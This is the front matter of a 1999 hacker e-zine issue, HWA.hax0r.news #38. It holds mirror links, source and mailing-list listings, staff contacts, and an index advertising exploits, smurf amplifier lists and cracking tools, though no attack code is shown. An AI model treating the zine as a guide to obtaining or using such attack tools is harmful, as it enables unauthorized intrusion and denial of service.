Copy Link
Add to Bookmark
Report
hwa-hn38
[ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
==========================================================================
= <=-[ HWA.hax0r.news ]-=> =
==========================================================================
[=HWA'99=] Number 38 Volume 1 1999 Oct 17th 99
==========================================================================
[ 61:20:6B:69:64:20:63:6F:75: ]
[ 6C:64:20:62:72:65:61:6B:20:74:68:69:73: ]
[ 20:22:65:6E:63:72:79:70:74:69:6F:6E:22:! ]
==========================================================================
"ABUSUS NON TOLLIT USUM"
==========================================================================
Today the spotlight may be on you, some interesting machines that
have accessed these archives recently...
marshall.us-state.gov
digger1.defence.gov.au
firewall.mendoza.gov.ar
ipaccess.gov.ru
gatekeeper.itsec-debis.de
fgoscs.itsec-debis.de
fhu-ed4ccdf.fhu.disa.mil
citspr.tyndall.af.mil
kelsatx2.kelly.af.mil
kane.sheppard.af.mil
relay5.nima.mil
host.198-76-34-33.gsa.gov
ntsrvr.vsw.navy.mil
saic2.nosc.mil
wygate.wy.blm.gov
mrwilson.lanl.gov
p722ar.npt.nuwc.navy.mil
ws088228.ramstein.af.mil
car-gw.defence.gov.au
unknown-c-23-147.latimes.com
nytgate1.nytimes.com
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
http://welcome.to/HWA.hax0r.news/
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
Web site sponsored by CUBESOFT networks http://www.csoft.net
check them out for great fast web hosting!
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
The Hacker's Ethic
Sadly, due to the traditional ignorance and sensationalizing of the mass
media, the once-noble term hacker has become a perjorative.
Among true computer people, being called a hacker is a compliment. One of
the traits of the true hacker is a profoundly antibureaucratic and
democratic spirit. That spirit is best exemplified by the Hacker's Ethic.
This ethic was best formulated by Steven Levy in his 1984 book Hackers:
Heroes of the Computer Revolution. Its tenets are as follows:
1 - Access to computers should be unlimited and total.
2 - All information should be free.
3 - Mistrust authority - promote decentralization.
4 - Hackers should be judged by their hacking not bogus criteria such as
degrees, age, race, or position.
5 - You create art and beauty on a computer,
6 - Computers can change your life for the better.
The Internet as a whole reflects this ethic.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
A Comment on FORMATTING:
Oct'99 - Started 80 column mode format.
I received an email recently about the formatting of this
newsletter, suggesting that it be formatted to 75 columns
in the past I've endevoured to format all text to 80 cols
except for articles and site statements and urls which are
posted verbatim, I've decided to continue with this method
unless more people complain, the zine is best viewed in
1024x768 mode with UEDIT.... - Ed
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
New mirror sites
http://net-security.org/hwahaxornews
http://www.sysbreakers.com/hwa
http://www.attrition.org/hosted/hwa/
http://www.ducktank.net/hwa/issues.html.
http://viper.dmrt.com/files/=E-Zines/HWA.hax0r.news/
http://hwazine.cjb.net/
http://www.hackunlimited.com/files/secu/papers/hwa/
http://www.attrition.org/~modify/texts/zines/HWA/
* http://hwa.hax0r.news.8m.com/
* http://www.fortunecity.com/skyscraper/feature/103/
* Crappy free sites but they offer 20M & I need the space...
** Some issues are not located on these sites since they exceed
the file size limitations imposed by the sites :-( please
only use these if no other recourse is available.
HWA.hax0r.news is sponsored by Cubesoft communications www.csoft.net
thanks to airportman for the Cubesoft bandwidth. Also shouts out to all
our mirror sites! and p0lix for the (now expired) digitalgeeks archive
tnx guys.
http://www.csoft.net/~hwa
HWA.hax0r.news Mirror Sites:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.attrition.org/hosted/hwa/
http://www.attrition.org/~modify/texts/zines/HWA/
http://www.ducktank.net/hwa/issues.html. ** NEW **
http://www.alldas.de/hwaidx1.htm ** NEW ** CHECK THIS ONE OUT **
http://www.csoft.net/~hwa/
http://www.digitalgeeks.com/hwa. *DOWN*
http://members.tripod.com/~hwa_2k
http://welcome.to/HWA.hax0r.news/
http://www.attrition.org/~modify/texts/zines/HWA/
http://www.projectgamma.com/archives/zines/hwa/
http://www.403-security.org/Htmls/hwa.hax0r.news.htm
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
SYNOPSIS (READ THIS)
--------------------
The purpose of this newsletter is to 'digest' current events of interest
that affect the online underground and netizens in general. This includes
coverage of general security issues, hacks, exploits, underground news
and anything else I think is worthy of a look see. (remember i'm doing
this for me, not you, the fact some people happen to get a kick/use
out of it is of secondary importance).
This list is NOT meant as a replacement for, nor to compete with, the
likes of publications such as CuD or PHRACK or with news sites such as
AntiOnline, the Hacker News Network (HNN) or mailing lists such as
BUGTRAQ or ISN nor could any other 'digest' of this type do so.
It *is* intended however, to compliment such material and provide a
reference to those who follow the culture by keeping tabs on as many
sources as possible and providing links to further info, its a labour
of love and will be continued for as long as I feel like it, i'm not
motivated by dollars or the illusion of fame, did you ever notice how
the most famous/infamous hackers are the ones that get caught? there's
a lot to be said for remaining just outside the circle... <g>
@HWA
=-----------------------------------------------------------------------=
Welcome to HWA.hax0r.news ... #38
=-----------------------------------------------------------------------=
We could use some more people joining the channel, its usually pretty
quiet, we don't bite (usually) so if you're hanging out on irc stop
by and idle a while and say hi...
*******************************************************************
*** /join #HWA.hax0r.news on EFnet the key is `zwen' ***
*** ***
*** please join to discuss or impart news on techno/phac scene ***
*** stuff or just to hang out ... someone is usually around 24/7***
*** ***
*** Note that the channel isn't there to entertain you its for ***
*** you to talk to us and impart news, if you're looking for fun***
*** then do NOT join our channel try #weirdwigs or something... ***
*** we're not #chatzone or #hack ***
*** ***
*******************************************************************
=-------------------------------------------------------------------------=
Issue #38
=--------------------------------------------------------------------------=
[ INDEX ]
=--------------------------------------------------------------------------=
Key Intros
=--------------------------------------------------------------------------=
00.0 .. COPYRIGHTS ......................................................
00.1 .. CONTACT INFORMATION & SNAIL MAIL DROP ETC .......................
00.2 .. SOURCES .........................................................
00.3 .. THIS IS WHO WE ARE ..............................................
00.4 .. WHAT'S IN A NAME? why `HWA.hax0r.news'?..........................
00.5 .. THE HWA_FAQ V1.0 ................................................
`ABUSUS NON TOLLIT USUM'? This is (in case you hadn't guessed) Latin, and
loosely translated it means "Just because something is abused, it should
not be taken away from those who use it properly). This is our new motto.
=--------------------------------------------------------------------------=
Key Content
=--------------------------------------------------------------------------=
01.0 .. GREETS ..........................................................
01.1 .. Last minute stuff, rumours, newsbytes ...........................
01.2 .. Mailbag .........................................................
02.0 .. From the Editor..................................................
03.0 .. Fun with monicalewinsky.com......................................
04.0 .. Fun with 3rdpig.com..............................................
05.0 .. scan.sh v1.1b by Twistdpair [HWA]................................
06.0 .. Bikkel (demoniz') web board back online..........................
07.0 .. Belgians tighten computer security laws..........................
08.0 .. Pakistani hacktivists 'blitz' web sites,,........................
09.0 .. Fidnet gets funding..............................................
10.0 .. Softseek.com Distributes Trojan Horse ...........................
11.0 .. Global Jam Echelon Day Update ...................................
12.0 .. NSA Document Retrieval Capabilities .............................
13.0 .. London Firms Targeted for Cyber Attack ..........................
14.0 .. UK Phreaker Sentenced ...........................................
15.0 .. Disappearing Email? We Doubt It. ................................
16.0 .. New Virus Found in Russia .......................................
17.0 .. New Hack City ...................................................
18.0 .. Commercial Demos Used as Script Kiddie Tools ....................
19.0 .. MTV Makes Up True Life ..........................................
20.0 .. VMWARE For Windows...............................................
21.0 .. CQRE'99..........................................................
22.0 .. Top 10 Smurf Amplifiers..........................................
23.0 .. Cyberarmy lists, Proxies, Wingates, Shells etc...................
24.0 .. SMTP Relay scanner...............................................
25.0 .. FTP relay checker/scanner........................................
26.0 .. The Last Line Of Defense, Broken. by Brian Martin................
27.0 .. libtermcap<2.0.8-15 sploit by typo@scene.at (libc jumpback)......
28.0 .. inews exploit, returns inews gid.................................
29.0 .. nlservd/rnavc local root exploit for Linux x86...................
30.0 .. Generic Solaris x86 exploit program by Brock Tellier.............
31.0 .. FreeBSD VFS Cache Exploit........................................
32.0 .. Compaq, HP and MS join together to create PC Security Standards..
33.0 .. Crypto; It;s Not Just Red, White, And Blue.......................
34.0 .. redhat 6.0 / redhat 5.2 zgv local by icesk [gH]..................
35.0 .. CGI and HTTP exploits v1.0.......................................
36.0 .. KeyRoot XiRCON DoS advisory......................................
37.0 .. BNC cracker, bust BNC's..........................................
38.0 .. Twstdpair's file grabber for 4dos w/netcat [HWA].................
39.0 .. SeeGeeEye exploit scanner by KeyRoot ............................
40.0 .. NiteClub.JAVA by KeyRoot.........................................
41.0 .. The securing UNIX checklist circa 1995...........................
42.0 .. Anonymizing UNIX systems by van Hauser [THC].....................
43.0 .. Techniques Adopted By 'System Crackers' When Attempting To Break.
44.0 .. Through the looking glass: finding evidence of your cracker......
45.0 .. Security code review guidelines..................................
46.0 .. Bronc buster on Linux Security...................................
47.0 .. Perversions of the 'hacker ethic'................................
48.0 .. A blast from the past: Phreaking in the UK in the 90's...........
49.0 .. UK:Playing with Photoplay 2000 systems...........................
50.0 .. HDF Seeks Board Members .........................................
51.0 .. Distributed Ping Attacks ........................................
52.0 .. Cyberterror Fact or Fiction? ....................................
53.0 .. Are Loss Estimates Accurate or Unduly Inflated? .................
54.0 .. Hong Kong Claim Massive Progress in Defeating Pirates ...........
55.0 .. Cryptogram Oct 15th..............................................
56.0 .. News from Sla5h..................................................
57.0 .. E-MAILS TO GATES LEAD TO INDICTMENT..............................
58.0 .. PIRATED SOFTWARE HUNT FLOPS......................................
59.0 .. ALWAYS ON NET THREATENS HOME SECURITY............................
60.0 .. PHC STRIKE AGAIN.................................................
61.0 .. HOTMAIL STILL IN VIRUS HOT SEAT..................................
62.0 .. VIRUS LINKS E-MAIL TO PORN.......................................
63.0 .. FREEONLINE DENIES HOLE AND CHALLENGES HACKER.....................
64.0 .. THE IT SECURITY STRUGGLE CONTINUES...............................
65.0 .. MS LIKES COURTHOUSES.............................................
66.0 .. DESPITE HOAX.....................................................
67.0 .. BIOMETRICS.......................................................
68.0 .. Y2K NEWS RADIO BACK ONLINE.......................................
69.0 .. MELISSA CLONES...................................................
70.0 .. RUSSIA AND Y2K...................................................
71.0 .. CLASSIFIED BRIEFING..............................................
72.0 .. PEDOPHILES APPREHENDED...........................................
73.0 .. PROJECT GAMMA....................................................
74.0 .. DOT PROBLEM......................................................
75.0 .. G8 MEETING ON CYBERCRIME.........................................
76.0 .. ONLINE INVESTORS CITE SECURITY AS TOP PRIORITY...................
77.0 .. JVM WARNING ISSUED...............................................
78.0 .. HACKING A PATH TO NET PRIVACY....................................
79.0 .. INTEL'S HOT NUMBERS PROMISE MORE PRIVACY.........................
80.0 .. IT GURU SEEKS CRYPTO OVERSIGHT PANEL.............................
=-------------------------------------------------------------------------------=
AD.S .. Post your site ads or etc here, if you can offer something in return
thats tres cool, if not we'll consider ur ad anyways so send it in.
ads for other zines are ok too btw just mention us in yours, please
remember to include links and an email contact. Corporate ads will
be considered also and if your company wishes to donate to or
participate in the upcoming Canc0n99 event send in your suggestions
and ads now...n.b date and time may be pushed back join mailing list
for up to date information.......................................
Current dates: POSTPONED til further notice, place: TBA.. .................
Ha.Ha .. Humour and puzzles ............................................
Hey You!........................................................
=------=........................................................
Send in humour for this section! I need a laugh and its hard to
find good stuff... ;)...........................................
SITE.1 .. Featured site, .................................................
H.W .. Hacked Websites ...............................................
A.0 .. APPENDICES......................................................
A.1 .. PHACVW linx and references......................................
=--------------------------------------------------------------------------=
@HWA'99
00.0 (C) COPYRIGHT, (K)OPYWRONG, COPYLEFT? V2.0
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
THE OPINIONS OF THE WRITERS DO NOT NECESSARILY REFLECT THE
OPINIONS OF THE PUBLISHERS AND VICE VERSA IN FACT WE DUNNO
WTF IS GONNA TAKE RESPONSIBILITY FOR THIS, I'M NOT DOING IT
(LOTS OF ME EITHER'S RESOUND IN THE BACKGROUND) SO UHM JUST
READ IT AND IF IT BUGS YOU WELL TFS (SEE FAQ).
Important semi-legalese and license to redistribute:
YOU MAY DISTRIBUTE THIS ZINE WITHOUT PERMISSION FROM MYSELF
AND ARE GRANTED THE RIGHT TO QUOTE ME OR THE CONTENTS OF THE
ZINE SO LONG AS Cruciphux AND/OR HWA.hax0r.news ARE MENTIONED
IN YOUR WRITING. LINK'S ARE NOT NECESSARY OR EXPECTED BUT ARE
APPRECIATED the current link is http://welcome.to/HWA.hax0r.news
IT IS NOT MY INTENTION TO VIOLATE ANYONE'S COPYRIGHTS OR BREAK
ANY NETIQUETTE IN ANY WAY IF YOU FEEL I'VE DONE THAT PLEASE EMAIL
ME PRIVATELY current email cruciphux@dok.org
THIS DOES NOT CONSTITUTE ANY LEGAL RIGHTS, IN THIS COUNTRY ALL
WORKS ARE (C) AS SOON AS COMMITTED TO PAPER OR DISK, IF ORIGINAL
THE LAYOUT AND COMMENTARIES ARE THEREFORE (C) WHICH MEANS:
I RETAIN ALL RIGHTS, BUT I GIVE YOU THE RIGHT TO READ, QUOTE
AND REDISTRIBUTE/MIRROR. - EoD
Although this file and all future issues are now copyright, some of
the content holds its own copyright and these are printed and
respected. News is news so i'll print any and all news but will quote
sources when the source is known, if its good enough for CNN its good
enough for me. And i'm doing it for free on my own time so pfffft. :)
No monies are made or sought through the distribution of this material.
If you have a problem or concern email me and we'll discuss it.
cruciphux@dok.org
Cruciphux [C*:.]
00.1 CONTACT INFORMATION AND MAIL DROP
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Wahoo, we now have a mail-drop, if you are outside of the U.S.A or
Canada / North America (hell even if you are inside ..) and wish to
send printed matter like newspaper clippings a subscription to your
cool foreign hacking zine or photos, small non-explosive packages
or sensitive information etc etc well, now you can. (w00t) please
no more inflatable sheep or plastic dog droppings, or fake vomit
thanks.
Send all goodies to:
HWA NEWS
P.O BOX 44118
370 MAIN ST. NORTH
BRAMPTON, ONTARIO
CANADA
L6V 4H5
WANTED!: POSTCARDS! YESH! POSTCARDS, I COLLECT EM so I know a lot of you are
~~~~~~~ reading this from some interesting places, make my day and get a
mention in the zine, send in a postcard, I realize that some places
it is cost prohibitive but if you have the time and money be a cool
dude / gal and send a poor guy a postcard preferably one that has some
scenery from your place of residence for my collection, I collect stamps
too so you kill two birds with one stone by being cool and mailing in a
postcard, return address not necessary, just a "hey guys being cool in
Bahrain, take it easy" will do ... ;-) thanx.
Ideas for interesting 'stuff' to send in apart from news:
- Photo copies of old system manual front pages (optionally signed by you) ;-)
- Photos of yourself, your mom, sister, dog and or cat in a NON
compromising position plz I don't want pr0n. <g>
- Picture postcards
- CD's 3.5" disks, Zip disks, 5.25" or 8" floppies, Qic40/80/100-250
tapes with hack/security related archives, logs, irc logs etc on em.
- audio or video cassettes of yourself/others etc of interesting phone
fun or social engineering examples or transcripts thereof.
Stuff you can email:
- Prank phone calls in .ram or .mp* format
- Fone tones and security announcements from PBX's etc
- fun shit you sampled off yer scanner (relevant stuff only like #2600 meeting activities)
- reserved for one smiley face -> :-) <-
- PHACV lists of files that you have or phac cd's you own (we have a burner, *g*)
- burns of phac cds (email first to make sure we don't already have em)
- Any and all telephone sounds/tones/beeps/trunk drops/line tests/etc in .ram etc format or .mp*
If you still can't think of anything you're probably not that interesting
a person after all so don't worry about it <BeG>
Our current email:
Submissions/zine gossip.....: hwa@press.usmc.net
Private email to editor.....: cruciphux@dok.org
Distribution/Website........: sas72@usa.net
Websites;
sAs72.......................: http://members.tripod.com/~sAs72/
Cruciphux...................: http://www.geocities.com/Area51/Lair/8913/
@HWA
00.2 Sources ***
~~~~~~~~~~~
Sources can be some, all, or none of the following (by no means complete
nor listed in any degree of importance) Unless otherwise noted, like msgs
from lists or news from other sites, articles and information is compiled
and or sourced by Cruciphux no copyright claimed.
News & I/O zine ................. http://www.antionline.com/
Back Orifice/cDc..................http://www.cultdeadcow.com/
News site (HNN) .....,............http://www.hackernews.com/
Help Net Security.................http://net-security.org/
News,Advisories,++ .(lophtcrack)..http://www.l0pht.com/
NewsTrolls .(daily news ).........http://www.newstrolls.com/
News + Exploit archive ...........http://www.rootshell.com/beta/news.html
CuD Computer Underground Digest...http://www.soci.niu.edu/~cudigest
News site+........................http://www.zdnet.com/
News site+Security................http://www.gammaforce.org/
News site+Security................http://www.projectgamma.com/
News site+Security................http://securityhole.8m.com/
News site+Security related site...http://www.403-security.org/ *DOWN*
News/Humour site+ ................http://www.innerpulse.com
News/Techie news site.............http://www.slashdot.org
+Various mailing lists and some newsgroups, such as ...
+other sites available on the HNN affiliates page, please see
http://www.hackernews.com/affiliates.html as they seem to be popping up
rather frequently ...
http://www.the-project.org/ .. IRC list/admin archives
http://www.anchordesk.com/ .. Jesse Berst's AnchorDesk
alt.hackers.malicious
alt.hackers
alt.2600
BUGTRAQ
ISN security mailing list
ntbugtraq
<+others>
NEWS Agencies, News search engines etc:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.cnn.com/SEARCH/
http://www.foxnews.com/search/cgi-bin/search.cgi?query=hack&days=0&wires=0&startwire=0
http://www.news.com/Searching/Results/1,18,1,00.html?querystr=hack
http://www.ottawacitizen.com/business/
http://search.yahoo.com.sg/search/news_sg?p=hack
http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=hack
http://www.zdnet.com/zdtv/cybercrime/
http://www.zdnet.com/zdtv/cybercrime/chaostheory/ (Kevin Poulsen's Column)
NOTE: See appendices for details on other links.
http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm
http://freespeech.org/eua/ Electronic Underground Affiliation
http://ech0.cjb.net ech0 Security
http://axon.jccc.net/hir/ Hackers Information Report
http://net-security.org Net Security
http://www.403-security.org Daily news and security related site
Submissions/Hints/Tips/Etc
~~~~~~~~~~~~~~~~~~~~~~~~~~
All submissions that are `published' are printed with the credits
you provide, if no response is received by a week or two it is assumed
that you don't care wether the article/email is to be used in an issue
or not and may be used at my discretion.
Looking for:
Good news sites that are not already listed here OR on the HNN affiliates
page at http://www.hackernews.com/affiliates.html
Magazines (complete or just the articles) of breaking sekurity or hacker
activity in your region, this includes telephone phraud and any other
technological use, abuse hole or cool thingy. ;-) cut em out and send it
to the drop box.
- Ed
Mailing List Subscription Info (Far from complete) Feb 1999
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~ ~~~~~~~~
ISS Security mailing list faq : http://www.iss.net/iss/maillist.html
THE MOST READ:
BUGTRAQ - Subscription info
~~~~~~~~~~~~~~~~~~~~~~~~~~~
What is Bugtraq?
Bugtraq is a full-disclosure UNIX security mailing list, (see the info
file) started by Scott Chasin <chasin@crimelab.com>. To subscribe to
bugtraq, send mail to listserv@netspace.org containing the message body
subscribe bugtraq. I've been archiving this list on the web since late
1993. It is searchable with glimpse and archived on-the-fly with hypermail.
Searchable Hypermail Index;
http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html
<a href="Link</a">http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html">Link</a>
About the Bugtraq mailing list
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The following comes from Bugtraq's info file:
This list is for *detailed* discussion of UNIX security holes: what they are,
how to exploit, and what to do to fix them.
This list is not intended to be about cracking systems or exploiting their
vulnerabilities. It is about defining, recognizing, and preventing use of
security holes and risks.
Please refrain from posting one-line messages or messages that do not contain
any substance that can relate to this list`s charter.
I will allow certain informational posts regarding updates to security tools,
documents, etc. But I will not tolerate any unnecessary or nonessential "noise"
on this list.
Please follow the below guidelines on what kind of information should be posted
to the Bugtraq list:
+ Information on Unix related security holes/backdoors (past and present)
+ Exploit programs, scripts or detailed processes about the above
+ Patches, workarounds, fixes
+ Announcements, advisories or warnings
+ Ideas, future plans or current works dealing with Unix security
+ Information material regarding vendor contacts and procedures
+ Individual experiences in dealing with above vendors or security organizations
+ Incident advisories or informational reporting
Any non-essential replies should not be directed to the list but to the originator of the message. Please do not
"CC" the bugtraq reflector address if the response does not meet the above criteria.
Remember: YOYOW.
You own your own words. This means that you are responsible for the words that you post on this list and that
reproduction of those words without your permission in any medium outside the distribution of this list may be
challenged by you, the author.
For questions or comments, please mail me:
chasin@crimelab.com (Scott Chasin)
UPDATED Sept/99 - Sent in by Androthi, tnx for the update
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I am pleased to inform you of several changes that will be occurring
on June 5th. I hope you find them as exciting as I do.
BUGTRAQ moves to a new home
---------------------------
First, BUGTRAQ will be moving from its current home at NETSPACE.ORG
to SECURITYFOCUS.COM. What is Security Focus you ask? Wait and read
below. Other than the change of domains nothing of how the list
is run changes. I am still the moderator. We play by the same rules.
Security Focus will be providing mail archives for BUGTRAQ. The
archives go back longer than Netspace's and are more complete than
Geek-Girl's.
The move will occur one week from today. You will not need to
resubscribe. All your information, including subscription options
will be moved transparently.
Any of you using mail filters (e.g. procmail) to sort incoming
mail into mail folders by examining the From address will have to
update them to include the new address. The new address will be:
BUGTRAQ@SECURITYFOCUS.COM
Security Focus also be providing a free searchable vulnerability
database.
BUGTRAQ es muy bueno
--------------------
It has also become apparent that there is a need for forums
in the spirit of BUGTRAQ where non-English speaking people
or people that don't feel comfortable speaking English can
exchange information.
As such I've decided to give BUGTRAQ in other languages a try.
BUGTRAQ will continue to be the place to submit vulnerability
information, but if you feel more comfortable using some other
language you can give the other lists a try. All relevant information
from the other lists which have not already been covered here
will be translated and forwarded on by the list moderator.
In the next couple of weeks we will be introducing BUGTRAQ-JP
(Japanese) which will be moderated by Nobuo Miwa <n-miwa@lac.co.jp>
and BUGTRAQ-SP (Spanish) which will be moderated by CORE SDI S.A.
from Argentina <http://www.core-sdi.com/> (the folks that brought you
Secure Syslog and the SSH insertion attack).
What is Security Focus?
-----------------------
Security Focus is an exercise in creating a community and a security
resource. We hope to be able to provide a medium where useful and
successful resources such as BUGTRAQ can occur, while at the same
time providing a comprehensive source of security information. Aside
from moving just BUGTRAQ over, the Geek-Girl archives (and the Geek Girl
herself!) have moved over to Security Focus to help us with building
this new community. The other staff at Security Focus are largely derived
from long time supporters of Bugtraq and the community in general. If
you are interested in viewing the staff pages, please see the 'About'
section on www.securityfocus.com.
On the community creating front you will find a set of forums
and mailing lists we hope you will find useful. A number of them
are not scheduled to start for several weeks but starting today
the following list is available:
* Incidents' Mailing List. BUGTRAQ has always been about the
discussion of new vulnerabilities. As such I normally don't approve
messages about break-ins, trojans, viruses, etc with the exception
of wide spread cases (Melissa, ADM worm, etc). The other choice
people are usually left with is email CERT but this fails to
communicate this important information to other that may be
potentially affected.
The Incidents mailing list is a lightly moderated mailing list to
facilitate the quick exchange of security incident information.
Topical items include such things as information about rootkits
new trojan horses and viruses, source of attacks and tell-tale
signs of intrusions.
To subscribe email LISTSERV@SECURITYFOCUS.COM with a message body
of:
SUBS INCIDENTS FirstName, LastName
Shortly we'll also be introducing an Information Warfare forum along
with ten other forums over the next two months. These forums will be
built and moderated by people in the community as well as vendors who
are willing to take part in the community building process.
*Note to the vendors here* We have several security vendors who have
agreed to run forums where they can participate in the online communities.
If you would like to take part as well, mail Alfred Huger,
ahuger@securityfocus.com.
On the information resource front you find a large database of
the following:
* Vulnerabilities. We are making accessible a free vulnerability
database. You can search it by vendor, product and keyword. You
will find detailed information on the vulnerability and how to fix it,
as well are links to reference information such as email messages,
advisories and web pages. You can search by vendor, product and
keywords. The database itself is the result of culling through 5
years of BUGTRAQ plus countless other lists and news groups. It's
a shining example of how thorough full disclosure has made a significant
impact on the industry over the last half decade.
* Products. An incredible number of categorized security products
from over two hundred different vendors.
* Services. A large and focused directory of security services offered by
vendors.
* Books, Papers and Articles. A vast number of categorized security
related books, papers and articles. Available to download directly
for our servers when possible.
* Tools. A large array of free security tools. Categorized and
available for download.
* News: A vast number of security news articles going all the way
back to 1995.
* Security Resources: A directory to other security resources on
the net.
As well as many other things such as an event calendar.
For your convenience the home-page can be personalized to display
only information you may be interested in. You can filter by
categories, keywords and operating systems, as well as configure
how much data to display.
I'd like to thank the fine folks at NETSPACE for hosting the
site for as long as they have. Their services have been invaluable.
I hope you find these changes for the best and the new services
useful. I invite you to visit http://www.securityfocus.com/ and
check it out for yourself. If you have any comments or suggestions
please feel free to contact me at this address or at
aleph1@securityfocus.com.
Cheers.
--
Aleph One / aleph1@underground.org
http://underground.org/
KeyID 1024/948FD6B5
Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01
Crypto-Gram
~~~~~~~~~~~
CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses,
insights, and commentaries on cryptography and computer security.
To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a
blank message to crypto-gram-subscribe@chaparraltree.com. To unsubscribe,
visit http://www.counterpane.com/unsubform.html. Back issues are available
on http://www.counterpane.com.
CRYPTO-GRAM is written by Bruce Schneier. Schneier is president of
Counterpane Systems, the author of "Applied Cryptography," and an inventor
of the Blowfish, Twofish, and Yarrow algorithms. He served on the board of
the International Association for Cryptologic Research, EPIC, and VTW. He
is a frequent writer and lecturer on cryptography.
CUD Computer Underground Digest
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This info directly from their latest ish:
Computer underground Digest Sun 14 Feb, 1999 Volume 11 : Issue 09
ISSN 1004-042X
Editor: Jim Thomas (cudigest@sun.soci.niu.edu)
News Editor: Gordon Meyer (gmeyer@sun.soci.niu.edu)
Archivist: Brendan Kehoe
Poof Reader: Etaion Shrdlu, Jr.
Shadow-Archivists: Dan Carosone / Paul Southworth
Ralph Sims / Jyrki Kuoppala
Ian Dickinson
Cu Digest Homepage: http://www.soci.niu.edu/~cudigest
[ISN] Security list
~~~~~~~~~~~~~~~~~~~
This is a low volume list with lots of informative articles, if I had my
way i'd reproduce them ALL here, well almost all .... ;-) - Ed
UPDATED Sept/99 - Sent in by Androthi, tnx for the update
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
--[ New ISN announcement (New!!)
Sender: ISN Mailing List <ISN@SECURITYFOCUS.COM>
From: mea culpa <jericho@DIMENSIONAL.COM>
Subject: Where has ISN been?
Comments: To: InfoSec News <isn@securityfocus.com>
To: ISN@SECURITYFOCUS.COM
It all starts long ago, on a network far away..
Not really. Several months ago the system that hosted the ISN mail list
was taken offline. Before that occured, I was not able to retrieve the
subscriber list. Because of that, the list has been down for a while. I
opted to wait to get the list back rather than attempt to make everyone
resubscribe.
As you can see from the headers, ISN is now generously being hosted by
Security Focus [www.securityfocus.com]. THey are providing the bandwidth,
machine, and listserv that runs the list now.
Hopefully, this message will find all ISN subscribers, help us weed out
dead addresses, and assure you the list is still here. If you have found
the list to be valuable in the past, please tell friends and associates
about the list. To subscribe, mail listserv@securityfocus.com with
"subscribe isn firstname lastname". To unsubscribe, "unsubscribe isn".
As usual, comments and suggestions are welcome. I apologize for the down
time of the list. Hopefully it won't happen again. ;)
mea_culpa
www.attrition.org
--[ Old ISN welcome message
[Last updated on: Mon Nov 04 0:11:23 1998]
InfoSec News is a privately run, medium traffic list that caters
to distribution of information security news articles. These
articles will come from newspapers, magazines, online resources,
and more.
The subject line will always contain the title of the article, so that
you may quickly and effeciently filter past the articles of no interest.
This list will contain:
o Articles catering to security, hacking, firewalls, new security
encryption, products, public hacks, hoaxes, legislation affecting
these topics and more.
o Information on where to obtain articles in current magazines.
o Security Book reviews and information.
o Security conference/seminar information.
o New security product information.
o And anything else that comes to mind..
Feedback is encouraged. The list maintainers would like to hear what
you think of the list, what could use improving, and which parts
are "right on". Subscribers are also encouraged to submit articles
or URLs. If you submit an article, please send either the URL or
the article in ASCII text. Further, subscribers are encouraged to give
feedback on articles or stories, which may be posted to the list.
Please do NOT:
* subscribe vanity mail forwards to this list
* subscribe from 'free' mail addresses (ie: juno, hotmail)
* enable vacation messages while subscribed to mail lists
* subscribe from any account with a small quota
All of these generate messages to the list owner and make tracking
down dead accounts very difficult. I am currently receiving as many
as fifty returned mails a day. Any of the above are grounds for
being unsubscribed. You are welcome to resubscribe when you address
the issue(s).
Special thanks to the following for continued contribution:
William Knowles, Aleph One, Will Spencer, Jay Dyson,
Nicholas Brawn, Felix von Leitner, Phreak Moi and
other contributers.
ISN Archive: ftp://ftp.repsec.com/pub/text/digests/isn
ISN Archive: http://www.landfield.com/isn
ISN Archive: http://www.jammed.com/Lists/ISN/
ISN is Moderated by 'mea_culpa' <jericho@dimensional.com>. ISN is a
private list. Moderation of topics, member subscription, and
everything else about the list is solely at his discretion.
The ISN membership list is NOT available for sale or disclosure.
ISN is a non-profit list. Sponsors are only donating to cover bandwidth
and server costs.
@HWA
00.3 THIS IS WHO WE ARE
~~~~~~~~~~~~~~~~~~
Some HWA members and Legacy staff
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
cruciphux@dok.org.........: currently active/editorial
darkshadez@ThePentagon.com: currently active/man in black
fprophet@dok.org..........: currently active/programming/IRC+ man in black
sas72@usa.net ............. currently active/IRC+ distribution
vexxation@usa.net ........: currently active/IRC+ proof reader/grrl in black
